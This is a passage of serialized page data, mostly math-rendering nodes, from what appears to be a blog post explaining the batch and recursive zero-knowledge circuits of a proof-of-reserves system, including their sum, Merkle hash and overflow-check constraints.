,"props":100915,"children":100917},{"className":100916},[11732,29273],[100918],{"type":29,"value":29415},{"type":24,"tag":271,"props":100920,"children":100922},{"className":100921},[11732,29273],[100923],{"type":29,"value":32},{"type":24,"tag":271,"props":100925,"children":100927},{"className":100926,"style":99849},[11732,29273],[100928],{"type":29,"value":99852},{"type":24,"tag":271,"props":100930,"children":100932},{"className":100931,"style":99837},[11732],[100933],{"type":29,"value":10818},{"type":24,"tag":271,"props":100935,"children":100937},{"className":100936},[11732,29273],[100938],{"type":29,"value":32},{"type":24,"tag":271,"props":100940,"children":100942},{"className":100941},[11732,29273],[100943],{"type":29,"value":99828},{"type":24,"tag":271,"props":100945,"children":100947},{"className":100946},[11732,29273],[100948],{"type":29,"value":29415},{"type":24,"tag":271,"props":100950,"children":100952},{"className":100951,"style":99837},[11732],[100953],{"type":29,"value":10818},{"type":24,"tag":271,"props":100955,"children":100957},{"className":100956},[11732,29273],[100958],{"type":29,"value":99845},{"type":24,"tag":271,"props":100960,"children":100962},{"className":100961,"style":99849},[11732,29273],[100963],{"type":29,"value":99852},{"type":24,"tag":271,"props":100965,"children":100967},{"className":100966},[11732,29273],[100968],{"type":29,"value":99858},{"type":24,"tag":271,"props":100970,"children":100972},{"className":100971},[11732,29273],[100973],{"type":29,"value":99864},{"type":24,"tag":271,"props":100975,"children":100977},{"className":100976},[29402],[100978],{"type":29,"value":4520},{"type":24,"tag":271,"props":100980,"children":100982},{"className":100981},[11732,29273],[100983],{"type":29,"value":32},{"type":24,"tag":271,"props":100985,"children":100987},{"className":100986},[11732,29273],[100988],{"type":29,"value":99828},{"type":24,"tag":271,"props":100990,"children":100992},{"className":100991},[11732,29273],[100993],{"type":29,"value":29415},{"type":24,"tag":271,"props":100995,"children":100997},{"className":100996,"style":99837},[11732],[100998],{"type":29,"value":10818},{"type":24,"tag":271,"props":101000,"children":101002},{"className":101001},[11732,29273],[101003],{"type":29,"value":6054},{"type":24,"tag":271,"props":101005,"children":101007},{"className":101006},[11732,29273],[101008],{"type":29,"value":100096},{"type":24,"tag":271,"props":101010,"children":101012},{"className":101011},[11732,29273],[101013],{"type":29,"value":689},{"type":24,"tag":271,"props":101015,"children":101017},{"className":101016},[29424],[101018],{"type":29,"value":23108},{"type":24,"tag":271,"props":101020,"children":101022},{"className":101021,"style":11908},[11810],[],{"type":24,"tag":271,"props":101024,"children":101026},{"className":101025},[11913],[101027],{"type":29,"value":5059},{"type":24,"tag":271,"props":101029,"children":101031},{"className":101030,"style":11908},[11810],[],{"type":24,"tag":271,"props":101033,"children":101035},{"className":101034},[11721],[101036,101040,101045,101050,101055,101060,101065,101070,101075,101080,101085,101090,101095,101100,101105,101110,101115,101120,101177,101182,101187,101192,101197,101202,101207,101212,101217],{"type":24,"tag":271,"props":101037,"children":101039},{"className":101038,"style":99779},[11726],[],{"type":24,"tag":271,"props":101041,"children":101043},{"className":101042},[11732],[101044],{"type":29,"value":100427},{"type":24,"tag":271,"props":101046,"children":101048},{"className":101047},[11810],[101049],{"type":29,"value":29374},{"type":24,"tag":271,"props":101051,"children":101053},{"className":101052},[11732,29273],[101054],{"type":29,"value":32},{"type":24,"tag":271,"props":101056,"children":101058},{"className":101057},[11732,29273],[101059],{"type":29,"value":100294},{"type":24,"tag":271,"props":101061,"children":101063},{"className":101062},[11732,29273],[101064],{"type":29,"value":100096},{"type":24,"tag":271,"props":101066,"children":101068},{"className":101067},[11732,29273],[101069],{"type":29,"value":6054},{"type":24,"tag":271,"props":101071,"children":101073},{"className":101072},[11732,29273],[101074],{"type":29,"value":29415},{"type":24,"tag":271,"props":101076,"children":101078},{"className":101077,"style":99837},[11732],[101079],{"type":29,"value":10818},{"type":24,"tag":271,"props":101081,"children":101083},{"className":101082},[11732,29273],[101084],{"type":29,"value":32},{"type":24,"tag":271,"props":101086,"children":101088},{"className":101087},[11732,29273],[101089],{"type":29,"value":99828},{"type":24,"tag":271,"props":101091,"children":101093},{"className":101092},[11732,29273],[101094],{"type":29,"value":29415},{"type":24,"tag":271,"props":101096,"children":101098},{"className":101097,"style":99837},[11732],[101099],{"type":29,"value":10818},{"type":24,"tag":271,"props":101101,"children":101103},{"className":101102},[11732,29273],[101104],{"type":29,"value":99845},{"type":24,"tag":271,"props":101106,"children":101108},{"className":101107,"style":99849},[11732,29273],[101109],{"type":29,"value":99852},{"type":24,"tag":271,"props":101111,"children":101113},{"className":101112},[11732,29273],[101114],{"type":29,"value":99858},{"type":24,"tag":271,"props":101116,"children":101118},{"className":101117},[11732,29273],[101119],{"type":29,"value":99864},{"type":24,"tag":271,"props":101121,"children":101123},{"className":101122},[11732],[101124,101129],{"type":24,"tag":271,"props":101125,"children":101127},{"className":101126},[11732,29273],[101128],{"type":29,"value":18355},{"type":24,"tag":271,"props":101130,"children":101132},{"className":101131},[11747],[101133],{"type":24,"tag":271,"props":101134,"children":101136},{"className":101135},[11752,29327],[101137,101166],{"type":24,"tag":271,"props":101138,"children":101140},{"className":101139},[11757],[101141,101161],{"type":24,"tag":271,"props":101142,"children":101144},{"className":101143,"style":100366},[11762],[101145],{"type":24,"tag":271,"props":101146,"children":101147},{"style":99893},[101148,101152],{"type":24,"tag":271,"props":101149,"children":101151},{"className":101150,"style":11772},[11771],[],{"type":24,"tag":271,"props":101153,"children":101155},{"className":101154},[11777,11778,11779,11780],[101156],{"type":24,"tag":271,"props":101157,"children":101159},{"className":101158},[11732,29273,11780],[101160],{"type":29,"value":11462},{"type":24,"tag":271,"props":101162,"children":101164},{"className":101163},[29430],[101165],{"type":29,"value":29433},{"type":24,"tag":271,"props":101167,"children":101169},{"className":101168},[11757],[101170],{"type":24,"tag":271,"props":101171,"children":101173},{"className":101172,"style":99920},[11762],[101174],{"type":24,"tag":271,"props":101175,"children":101176},{},[],{"type":24,"tag":271,"props":101178,"children":101180},{"className":101179},[29402],[101181],{"type":29,"value":4520},{"type":24,"tag":271,"props":101183,"children":101185},{"className":101184},[11732,29273],[101186],{"type":29,"value":32},{"type":24,"tag":271,"props":101188,"children":101190},{"className":101189},[11732,29273],[101191],{"type":29,"value":99828},{"type":24,"tag":271,"props":101193,"children":101195},{"className":101194},[11732,29273],[101196],{"type":29,"value":29415},{"type":24,"tag":271,"props":101198,"children":101200},{"className":101199,"style":99837},[11732],[101201],{"type":29,"value":10818},{"type":24,"tag":271,"props":101203,"children":101205},{"className":101204},[11732,29273],[101206],{"type":29,"value":6054},{"type":24,"tag":271,"props":101208,"children":101210},{"className":101209},[11732,29273],[101211],{"type":29,"value":100096},{"type":24,"tag":271,"props":101213,"children":101215},{"className":101214},[11732,29273],[101216],{"type":29,"value":689},{"type":24,"tag":271,"props":101218,"children":101220},{"className":101219},[29424],[101221],{"type":29,"value":23108},{"type":29,"value":3360},{"type":24,"tag":213,"props":101224,"children":101225},{},[101226],{"type":29,"value":101227},"(sum proof)",{"type":24,"tag":101,"props":101229,"children":101230},{},[101231,101620,101621],{"type":24,"tag":135,"props":101232,"children":101234},{"className":101233},[11705,11706],[101235],{"type":24,"tag":271,"props":101236,"children":101238},{"className":101237},[11711],[101239],{"type":24,"tag":271,"props":101240,"children":101242},{"className":101241,"ariaHidden":5670},[11716],[101243,101329],{"type":24,"tag":271,"props":101244,"children":101246},{"className":101245},[11721],[101247,101252,101257,101263,101269,101274,101279,101284,101289,101295,101300,101306,101311,101316,101320,101325],{"type":24,"tag":271,"props":101248,"children":101251},{"className":101249,"style":101250},[11726],"height:1.0044em;vertical-align:-0.31em;",[],{"type":24,"tag":271,"props":101253,"children":101255},{"className":101254},[11732,29273],[101256],{"type":29,"value":689},{"type":24,"tag":271,"props":101258,"children":101260},{"className":101259,"style":99837},[11732,29273],[101261],{"type":29,"value":101262},"er",{"type":24,"tag":271,"props":101264,"children":101267},{"className":101265,"style":101266},[11732,29273],"margin-right:0.03148em;",[101268],{"type":29,"value":95474},{"type":24,"tag":271,"props":101270,"children":101272},{"className":101271,"style":99849},[11732,29273],[101273],{"type":29,"value":99852},{"type":24,"tag":271,"props":101275,"children":101277},{"className":101276},[11732,29273],[101278],{"type":29,"value":1026},{"type":24,"tag":271,"props":101280,"children":101282},{"className":101281,"style":99837},[11732],[101283],{"type":29,"value":10818},{"type":24,"tag":271,"props":101285,"children":101287},{"className":101286},[11732,29273],[101288],{"type":29,"value":29415},{"type":24,"tag":271,"props":101290,"children":101292},{"className":101291},[11732,29273],[101293],{"type":29,"value":101294},"ree",{"type":24,"tag":271,"props":101296,"children":101298},{"className":101297,"style":99837},[11732],[101299],{"type":29,"value":10818},{"type":24,"tag":271,"props":101301,"children":101303},{"className":101302},[11732,29273],[101304],{"type":29,"value":101305},"ha",{"type":24,"tag":271,"props":101307,"children":101309},{"className":101308},[11732,29273],[101310],{"type":29,"value":18355},{"type":24,"tag":271,"props":101312,"children":101314},{"className":101313},[11732,29273],[101315],{"type":29,"value":91135},{"type":24,"tag":271,"props":101317,"children":101319},{"className":101318,"style":11908},[11810],[],{"type":24,"tag":271,"props":101321,"children":101323},{"className":101322},[11913],[101324],{"type":29,"value":5059},{"type":24,"tag":271,"props":101326,"children":101328},{"className":101327,"style":11908},[11810],[],{"type":24,"tag":271,"props":101330,"children":101332},{"className":101331},[11721],[101333,101337,101342,101347,101352,101357,101362,101367,101372,101377,101382,101439,101444,101448,101453,101458,101515,101520,101525,101529,101534,101539,101543,101548,101553,101615],{"type":24,"tag":271,"props":101334,"children":101336},{"className":101335,"style":11831},[11726],[],{"type":24,"tag":271,"props":101338,"children":101340},{"className":101339,"style":29274},[11732,29273],[101341],{"type":29,"value":29277},{"type":24,"tag":271,"props":101343,"children":101345},{"className":101344},[11732,29273],[101346],{"type":29,"value":99791},{"type":24,"tag":271,"props":101348,"children":101350},{"className":101349},[11732,29273],[101351],{"type":29,"value":11462},{"type":24,"tag":271,"props":101353,"children":101355},{"className":101354},[11732,29273],[101356],{"type":29,"value":77352},{"type":24,"tag":271,"props":101358,"children":101360},{"className":101359},[11732,29273],[101361],{"type":29,"value":99807},{"type":24,"tag":271,"props":101363,"children":101365},{"className":101364},[11732,29273],[101366],{"type":29,"value":6054},{"type":24,"tag":271,"props":101368,"children":101370},{"className":101369},[29402],[101371],{"type":29,"value":606},{"type":24,"tag":271,"props":101373,"children":101375},{"className":101374},[11732,29273],[101376],{"type":29,"value":101305},{"type":24,"tag":271,"props":101378,"children":101380},{"className":101379},[11732,29273],[101381],{"type":29,"value":18355},{"type":24,"tag":271,"props":101383,"children":101385},{"className":101384},[11732],[101386,101391],{"type":24,"tag":271,"props":101387,"children":101389},{"className":101388},[11732,29273],[101390],{"type":29,"value":91135},{"type":24,"tag":271,"props":101392,"children":101394},{"className":101393},[11747],[101395],{"type":24,"tag":271,"props":101396,"children":101398},{"className":101397},[11752,29327],[101399,101428],{"type":24,"tag":271,"props":101400,"children":101402},{"className":101401},[11757],[101403,101423],{"type":24,"tag":271,"props":101404,"children":101406},{"className":101405,"style":99889},[11762],[101407],{"type":24,"tag":271,"props":101408,"children":101409},{"style":99893},[101410,101414],{"type":24,"tag":271,"props":101411,"children":101413},{"className":101412,"style":11772},[11771],[],{"type":24,"tag":271,"props":101415,"children":101417},{"className":101416},[11777,11778,11779,11780],[101418],{"type":24,"tag":271,"props":101419,"children":101421},{"className":101420},[11732,11780],[101422],{"type":29,"value":4121},{"type":24,"tag":271,"props":101424,"children":101426},{"className":101425},[29430],[101427],{"type":29,"value":29433},{"type":24,"tag":271,"props":101429,"children":101431},{"className":101430},[11757],[101432],{"type":24,"tag":271,"props":101433,"children":101435},{"className":101434,"style":99920},[11762],[101436],{"type":24,"tag":271,"props":101437,"children":101438},{},[],{"type":24,"tag":271,"props":101440,"children":101442},{"className":101441},[11842],[101443],{"type":29,"value":11845},{"type":24,"tag":271,"props":101445,"children":101447},{"className":101446,"style":11849},[11810],[],{"type":24,"tag":271,"props":101449,"children":101451},{"className":101450},[11732,29273],[101452],{"type":29,"value":101305},{"type":24,"tag":271,"props":101454,"children":101456},{"className":101455},[11732,29273],[101457],{"type":29,"value":18355},{"type":24,"tag":271,"props":101459,"children":101461},{"className":101460},[11732],[101462,101467],{"type":24,"tag":271,"props":101463,"children":101465},{"className":101464},[11732,29273],[101466],{"type":29,"value":91135},{"type":24,"tag":271,"props":101468,"children":101470},{"className":101469},[11747],[101471],{"type":24,"tag":271,"props":101472,"children":101474},{"className":101473},[11752,29327],[101475,101504],{"type":24,"tag":271,"props":101476,"children":101478},{"className":101477},[11757],[101479,101499],{"type":24,"tag":271,"props":101480,"children":101482},{"className":101481,"style":99889},[11762],[101483],{"type":24,"tag":271,"props":101484,"children":101485},{"style":99893},[101486,101490],{"type":24,"tag":271,"props":101487,"children":101489},{"className":101488,"style":11772},[11771],[],{"type":24,"tag":271,"props":101491,"children":101493},{"className":101492},[11777,11778,11779,11780],[101494],{"type":24,"tag":271,"props":101495,"children":101497},{"className":101496},[11732,11780],[101498],{"type":29,"value":156},{"type":24,"tag":271,"props":101500,"children":101502},{"className":101501},[29430],[101503],{"type":29,"value":29433},{"type":24,"tag":271,"props":101505,"children":101507},{"className":101506},[11757],[101508],{"type":24,"tag":271,"props":101509,"children":101511},{"className":101510,"style":99920},[11762],[101512],{"type":24,"tag":271,"props":101513,"children":101514},{},[],{"type":24,"tag":271,"props":101516,"children":101518},{"className":101517},[11842],[101519],{"type":29,"value":11845},{"type":24,"tag":271,"props":101521,"children":101523},{"className":101522},[11810],[101524],{"type":29,"value":29374},{"type":24,"tag":271,"props":101526,"children":101528},{"className":101527,"style":11849},[11810],[],{"type":24,"tag":271,"props":101530,"children":101532},{"className":101531},[11732],[101533],{"type":29,"value":17298},{"type":24,"tag":271,"props":101535,"children":101537},{"className":101536},[11842],[101538],{"type":29,"value":11845},{"type":24,"tag":271,"props":101540,"children":101542},{"className":101541,"style":11849},[11810],[],{"type":24,"tag":271,"props":101544,"children":101546},{"className":101545},[11732,29273],[101547],{"type":29,"value":101305},{"type":24,"tag":271,"props":101549,"children":101551},{"className":101550},[11732,29273],[101552],{"type":29,"value":18355},{"type":24,"tag":271,"props":101554,"children":101556},{"className":101555},[11732],[101557,101562],{"type":24,"tag":271,"props":101558,"children":101560},{"className":101559},[11732,29273],[101561],{"type":29,"value":91135},{"type":24,"tag":271,"props":101563,"children":101565},{"className":101564},[11747],[101566],{"type":24,"tag":271,"props":101567,"children":101569},{"className":101568},[11752,29327],[101570,101604],{"type":24,"tag":271,"props":101571,"children":101573},{"className":101572},[11757],[101574,101599],{"type":24,"tag":271,"props":101575,"children":101577},{"className":101576,"style":99889},[11762],[101578],{"type":24,"tag":271,"props":101579,"children":101580},{"style":99893},[101581,101585],{"type":24,"tag":271,"props":101582,"children":101584},{"className":101583,"style":11772},[11771],[],{"type":24,"tag":271,"props":101586,"children":101588},{"className":101587},[11777,11778,11779,11780],[101589],{"type":24,"tag":271,"props":101590,"children":101592},{"className":101591},[11732,11780],[101593],{"type":24,"tag":271,"props":101594,"children":101596},{"className":101595},[11732,11780],[101597],{"type":29,"value":101598},"511",{"type":24,"tag":271,"props":101600,"children":101602},{"className":101601},[29430],[101603],{"type":29,"value":29433},{"type":24,"tag":271,"props":101605,"children":101607},{"className":101606},[11757],[101608],{"type":24,"tag":271,"props":101609,"children":101611},{"className":101610,"style":99920},[11762],[101612],{"type":24,"tag":271,"props":101613,"children":101614},{},[],{"type":24,"tag":271,"props":101616,"children":101618},{"className":101617},[29424],[101619],{"type":29,"value":2693},{"type":29,"value":3360},{"type":24,"tag":213,"props":101622,"children":101623},{},[101624],{"type":29,"value":101625},"(merkle tree hash)",{"type":24,"tag":101,"props":101627,"children":101628},{},[101629,101904,101905,101910,101912,101917],{"type":24,"tag":135,"props":101630,"children":101632},{"className":101631},[11705,11706],[101633],{"type":24,"tag":271,"props":101634,"children":101636},{"className":101635},[11711],[101637],{"type":24,"tag":271,"props":101638,"children":101640},{"className":101639,"ariaHidden":5670},[11716],[101641,101834],{"type":24,"tag":271,"props":101642,"children":101644},{"className":101643},[11721],[101645,101649,101654,101659,101664,101669,101674,101679,101684,101689,101694,101699,101704,101709,101714,101719,101776,101781,101786,101791,101796,101801,101806,101811,101816,101821,101825,101830],{"type":24,"tag":271,"props":101646,"children":101648},{"className":101647,"style":99779},[11726],[],{"type":24,"tag":271,"props":101650,"children":101652},{"className":101651},[11732,29273],[101653],{"type":29,"value":32},{"type":24,"tag":271,"props":101655,"children":101657},{"className":101656},[11732,29273],[101658],{"type":29,"value":100294},{"type":24,"tag":271,"props":101660,"children":101662},{"className":101661},[11732,29273],[101663],{"type":29,"value":100096},{"type":24,"tag":271,"props":101665,"children":101667},{"className":101666},[11732,29273],[101668],{"type":29,"value":6054},{"type":24,"tag":271,"props":101670,"children":101672},{"className":101671},[11732,29273],[101673],{"type":29,"value":29415},{"type":24,"tag":271,"props":101675,"children":101677},{"className":101676,"style":99837},[11732],[101678],{"type":29,"value":10818},{"type":24,"tag":271,"props":101680,"children":101682},{"className":101681},[11732,29273],[101683],{"type":29,"value":32},{"type":24,"tag":271,"props":101685,"children":101687},{"className":101686},[11732,29273],[101688],{"type":29,"value":99828},{"type":24,"tag":271,"props":101690,"children":101692},{"className":101691},[11732,29273],[101693],{"type":29,"value":29415},{"type":24,"tag":271,"props":101695,"children":101697},{"className":101696,"style":99837},[11732],[101698],{"type":29,"value":10818},{"type":24,"tag":271,"props":101700,"children":101702},{"className":101701},[11732,29273],[101703],{"type":29,"value":99845},{"type":24,"tag":271,"props":101705,"children":101707},{"className":101706,"style":99849},[11732,29273],[101708],{"type":29,"value":99852},{"type":24,"tag":271,"props":101710,"children":101712},{"className":101711},[11732,29273],[101713],{"type":29,"value":99858},{"type":24,"tag":271,"props":101715,"children":101717},{"className":101716},[11732,29273],[101718],{"type":29,"value":99864},{"type":24,"tag":271,"props":101720,"children":101722},{"className":101721},[11732],[101723,101728],{"type":24,"tag":271,"props":101724,"children":101726},{"className":101725},[11732,29273],[101727],{"type":29,"value":18355},{"type":24,"tag":271,"props":101729,"children":101731},{"className":101730},[11747],[101732],{"type":24,"tag":271,"props":101733,"children":101735},{"className":101734},[11752,29327],[101736,101765],{"type":24,"tag":271,"props":101737,"children":101739},{"className":101738},[11757],[101740,101760],{"type":24,"tag":271,"props":101741,"children":101743},{"className":101742,"style":100366},[11762],[101744],{"type":24,"tag":271,"props":101745,"children":101746},{"style":99893},[101747,101751],{"type":24,"tag":271,"props":101748,"children":101750},{"className":101749,"style":11772},[11771],[],{"type":24,"tag":271,"props":101752,"children":101754},{"className":101753},[11777,11778,11779,11780],[101755],{"type":24,"tag":271,"props":101756,"children":101758},{"className":101757},[11732,29273,11780],[101759],{"type":29,"value":11462},{"type":24,"tag":271,"props":101761,"children":101763},{"className":101762},[29430],[101764],{"type":29,"value":29433},{"type":24,"tag":271,"props":101766,"children":101768},{"className":101767},[11757],[101769],{"type":24,"tag":271,"props":101770,"children":101772},{"className":101771,"style":99920},[11762],[101773],{"type":24,"tag":271,"props":101774,"children":101775},{},[],{"type":24,"tag":271,"props":101777,"children":101779},{"className":101778},[29402],[101780],{"type":29,"value":4520},{"type":24,"tag":271,"props":101782,"children":101784},{"className":101783},[11732,29273],[101785],{"type":29,"value":32},{"type":24,"tag":271,"props":101787,"children":101789},{"className":101788},[11732,29273],[101790],{"type":29,"value":99828},{"type":24,"tag":271,"props":101792,"children":101794},{"className":101793},[11732,29273],[101795],{"type":29,"value":29415},{"type":24,"tag":271,"props":101797,"children":101799},{"className":101798,"style":99837},[11732],[101800],{"type":29,"value":10818},{"type":24,"tag":271,"props":101802,"children":101804},{"className":101803},[11732,29273],[101805],{"type":29,"value":6054},{"type":24,"tag":271,"props":101807,"children":101809},{"className":101808},[11732,29273],[101810],{"type":29,"value":100096},{"type":24,"tag":271,"props":101812,"children":101814},{"className":101813},[11732,29273],[101815],{"type":29,"value":689},{"type":24,"tag":271,"props":101817,"children":101819},{"className":101818},[29424],[101820],{"type":29,"value":23108},{"type":24,"tag":271,"props":101822,"children":101824},{"className":101823,"style":11908},[11810],[],{"type":24,"tag":271,"props":101826,"children":101828},{"className":101827},[11913],[101829],{"type":29,"value":801},{"type":24,"tag":271,"props":101831,"children":101833},{"className":101832,"style":11908},[11810],[],{"type":24,"tag":271,"props":101835,"children":101837},{"className":101836},[11721],[101838,101842,101849,101854,101860,101865,101870,101875,101881,101886,101892,101898],{"type":24,"tag":271,"props":101839,"children":101841},{"className":101840,"style":99779},[11726],[],{"type":24,"tag":271,"props":101843,"children":101846},{"className":101844,"style":101845},[11732,29273],"margin-right:0.10903em;",[101847],{"type":29,"value":101848},"M",{"type":24,"tag":271,"props":101850,"children":101852},{"className":101851},[11732,29273],[101853],{"type":29,"value":83557},{"type":24,"tag":271,"props":101855,"children":101858},{"className":101856,"style":101857},[11732,29273],"margin-right:0.07847em;",[101859],{"type":29,"value":13850},{"type":24,"tag":271,"props":101861,"children":101863},{"className":101862,"style":99837},[11732],[101864],{"type":29,"value":10818},{"type":24,"tag":271,"props":101866,"children":101868},{"className":101867,"style":29732},[11732,29273],[101869],{"type":29,"value":29735},{"type":24,"tag":271,"props":101871,"children":101873},{"className":101872},[11732,29273],[101874],{"type":29,"value":83557},{"type":24,"tag":271,"props":101876,"children":101878},{"className":101877,"style":29732},[11732,29273],[101879],{"type":29,"value":101880},"FE",{"type":24,"tag":271,"props":101882,"children":101884},{"className":101883,"style":99837},[11732],[101885],{"type":29,"value":10818},{"type":24,"tag":271,"props":101887,"children":101889},{"className":101888,"style":101857},[11732,29273],[101890],{"type":29,"value":101891},"I",{"type":24,"tag":271,"props":101893,"children":101895},{"className":101894,"style":29274},[11732,29273],[101896],{"type":29,"value":101897},"NT",{"type":24,"tag":271,"props":101899,"children":101901},{"className":101900},[11732],[101902],{"type":29,"value":101903},"/512",{"type":29,"value":3360},{"type":24,"tag":213,"props":101906,"children":101907},{},[101908],{"type":29,"value":101909},"(overflow check)",{"type":29,"value":101911}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":24,"tag":135,"props":101913,"children":101915},{"className":101914},[],[101916],{"type":29,"value":99695},{"type":29,"value":2693},{"type":24,"tag":25,"props":101919,"children":101920},{},[101921],{"type":29,"value":101922},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":24,"tag":25,"props":101924,"children":101925},{},[101926],{"type":24,"tag":74,"props":101927,"children":101929},{"alt":76,"src":101928},"/posts/por/batch-circuit-inputs.png",[],{"type":24,"tag":85,"props":101931,"children":101933},{"id":101932},"recursive-circuit",[101934],{"type":29,"value":101935},"Recursive Circuit",{"type":24,"tag":25,"props":101937,"children":101938},{},[101939],{"type":29,"value":101940},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":24,"tag":25,"props":101942,"children":101943},{},[101944],{"type":24,"tag":213,"props":101945,"children":101946},{},[101947],{"type":29,"value":100209},{"type":24,"tag":97,"props":101949,"children":101950},{},[101951,101955,101960],{"type":24,"tag":101,"props":101952,"children":101953},{},[101954],{"type":29,"value":100227},{"type":24,"tag":101,"props":101956,"children":101957},{},[101958],{"type":29,"value":101959},"Asset prices",{"type":24,"tag":101,"props":101961,"children":101962},{},[101963],{"type":29,"value":100222},{"type":24,"tag":25,"props":101965,"children":101966},{},[101967],{"type":24,"tag":213,"props":101968,"children":101969},{},[101970],{"type":29,"value":100235},{"type":24,"tag":97,"props":101972,"children":101973},{},[101974],{"type":24,"tag":101,"props":101975,"children":101976},{},[101977],{"type":29,"value":101978},"8 subproofs",{"type":24,"tag":25,"props":101980,"children":101981},{},[101982],{"type":24,"tag":213,"props":101983,"children":101984},{},[101985],{"type":29,"value":100256},{"type":24,"tag":97,"props":101987,"children":101988},{},[101989,102399,102730,103097,103484],{"type":24,"tag":101,"props":101990,"children":101991},{},[101992,102394,102395],{"type":24,"tag":135,"props":101993,"children":101995},{"className":101994},[11705,11706],[101996],{"type":24,"tag":271,"props":101997,"children":101999},{"className":101998},[11711],[102000],{"type":24,"tag":271,"props":102001,"children":102003},{"className":102002,"ariaHidden":5670},[11716],[102004,102140],{"type":24,"tag":271,"props":102005,"children":102007},{"className":102006},[11721],[102008,102012,102017,102022,102027,102032,102037,102042,102047,102052,102057,102062,102067,102072,102077,102082,102087,102092,102097,102102,102107,102112,102117,102122,102127,102131,102136],{"type":24,"tag":271,"props":102009,"children":102011},{"className":102010,"style":99779},[11726],[],{"type":24,"tag":271,"props":102013,"children":102015},{"className":102014},[11732,29273],[102016],{"type":29,"value":29415},{"type":24,"tag":271,"props":102018,"children":102020},{"className":102019},[11732,29273],[102021],{"type":29,"value":99807},{"type":24,"tag":271,"props":102023,"children":102025},{"className":102024},[11732,29273],[102026],{"type":29,"value":29415},{"type":24,"tag":271,"props":102028,"children":102030},{"className":102029},[11732,29273],[102031],{"type":29,"value":32},{"type":24,"tag":271,"props":102033,"children":102035},{"className":102034,"style":99849},[11732,29273],[102036],{"type":29,"value":99852},{"type":24,"tag":271,"props":102038,"children":102040},{"className":102039,"style":99837},[11732],[102041],{"type":29,"value":10818},{"type":24,"tag":271,"props":102043,"children":102045},{"className":102044},[11732,29273],[102046],{"type":29,"value":32},{"type":24,"tag":271,"props":102048,"children":102050},{"className":102049},[11732,29273],[102051],{"type":29,"value":99828},{"type":24,"tag":271,"props":102053,"children":102055},{"className":102054},[11732,29273],[102056],{"type":29,"value":29415},{"type":24,"tag":271,"props":102058,"children":102060},{"className":102059,"style":99837},[11732],[102061],{"type":29,"value":10818},{"type":24,"tag":271,"props":102063,"children":102065},{"className":102064},[11732,29273],[102066],{"type":29,"value":99845},{"type":24,"tag":271,"props":102068,"children":102070},{"className":102069,"style":99849},[11732,29273],[102071],{"type":29,"value":99852},{"type":24,"tag":271,"props":102073,"children":102075},{"className":102074},[11732,29273],[102076],{"type":29,"value":99858},{"type":24,"tag":271,"props":102078,"children":102080},{"className":102079},[11732,29273],[102081],{"type":29,"value":99864},{"type":24,"tag":271,"props":102083,"children":102085},{"className":102084},[29402],[102086],{"type":29,"value":4520},{"type":24,"tag":271,"props":102088,"children":102090},{"className":102089},[11732,29273],[102091],{"type":29,"value":32},{"type":24,"tag":271,"props":102093,"children":102095},{"className":102094},[11732,29273],[102096],{"type":29,"value":99828},{"type":24,"tag":271,"props":102098,"children":102100},{"className":102099},[11732,29273],[102101],{"type":29,"value":29415},{"type":24,"tag":271,"props":102103,"children":102105},{"className":102104,"style":99837},[11732],[102106],{"type":29,"value":10818},{"type":24,"tag":271,"props":102108,"children":102110},{"className":102109},[11732,29273],[102111],{"type":29,"value":6054},{"type":24,"tag":271,"props":102113,"children":102115},{"className":102114},[11732,29273],[102116],{"type":29,"value":100096},{"type":24,"tag":271,"props":102118,"children":102120},{"className":102119},[11732,29273],[102121],{"type":29,"value":689},{"type":24,"tag":271,"props":102123,"children":102125},{"className":102124},[29424],[102126],{"type":29,"value":23108},{"type":24,"tag":271,"props":102128,"children":102130},{"className":102129,"style":11908},[11810],[],{"type":24,"tag":271,"props":102132,"children":102134},{"className":102133},[11913],[102135],{"type":29,"value":5059},{"type":24,"tag":271,"props":102137,"children":102139},{"className":102138,"style":11908},[11810],[],{"type":24,"tag":271,"props":102141,"children":102143},{"className":102142},[11721],[102144,102148,102153,102158,102163,102168,102173,102178,102184,102243,102248,102253,102258,102263,102268,102273,102278,102283,102289,102294,102299,102304,102309,102314,102319,102324,102329,102334,102339,102344,102349,102354,102359,102364,102369,102374,102379,102384,102389],{"type":24,"tag":271,"props":102145,"children":102147},{"className":102146,"style":99779},[11726],[],{"type":24,"tag":271,"props":102149,"children":102151},{"className":102150},[11732],[102152],{"type":29,"value":100427},{"type":24,"tag":271,"props":102154,"children":102156},{"className":102155},[11810],[102157],{"type":29,"value":29374},{"type":24,"tag":271,"props":102159,"children":102161},{"className":102160},[11732,29273],[102162],{"type":29,"value":18355},{"type":24,"tag":271,"props":102164,"children":102166},{"className":102165},[11732,29273],[102167],{"type":29,"value":100096},{"type":24,"tag":271,"props":102169,"children":102171},{"className":102170},[11732,29273],[102172],{"type":29,"value":10954},{"type":24,"tag":271,"props":102174,"children":102176},{"className":102175},[11732,29273],[102177],{"type":29,"value":25},{"type":24,"tag":271,"props":102179,"children":102181},{"className":102180},[11732,29273],[102182],{"type":29,"value":102183},"roo",{"type":24,"tag":271,"props":102185,"children":102187},{"className":102186},[11732],[102188,102194],{"type":24,"tag":271,"props":102189,"children":102192},{"className":102190,"style":102191},[11732,29273],"margin-right:0.10764em;",[102193],{"type":29,"value":791},{"type":24,"tag":271,"props":102195,"children":102197},{"className":102196},[11747],[102198],{"type":24,"tag":271,"props":102199,"children":102201},{"className":102200},[11752,29327],[102202,102232],{"type":24,"tag":271,"props":102203,"children":102205},{"className":102204},[11757],[102206,102227],{"type":24,"tag":271,"props":102207,"children":102209},{"className":102208,"style":100366},[11762],[102210],{"type":24,"tag":271,"props":102211,"children":102213},{"style":102212},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[102214,102218],{"type":24,"tag":271,"props":102215,"children":102217},{"className":102216,"style":11772},[11771],[],{"type":24,"tag":271,"props":102219,"children":102221},{"className":102220},[11777,11778,11779,11780],[102222],{"type":24,"tag":271,"props":102223,"children":102225},{"className":102224},[11732,29273,11780],[102226],{"type":29,"value":11462},{"type":24,"tag":271,"props":102228,"children":102230},{"className":102229},[29430],[102231],{"type":29,"value":29433},{"type":24,"tag":271,"props":102233,"children":102235},{"className":102234},[11757],[102236],{"type":24,"tag":271,"props":102237,"children":102239},{"className":102238,"style":99920},[11762],[102240],{"type":24,"tag":271,"props":102241,"children":102242},{},[],{"type":24,"tag":271,"props":102244,"children":102246},{"className":102245},[11732],[102247],{"type":29,"value":41},{"type":24,"tag"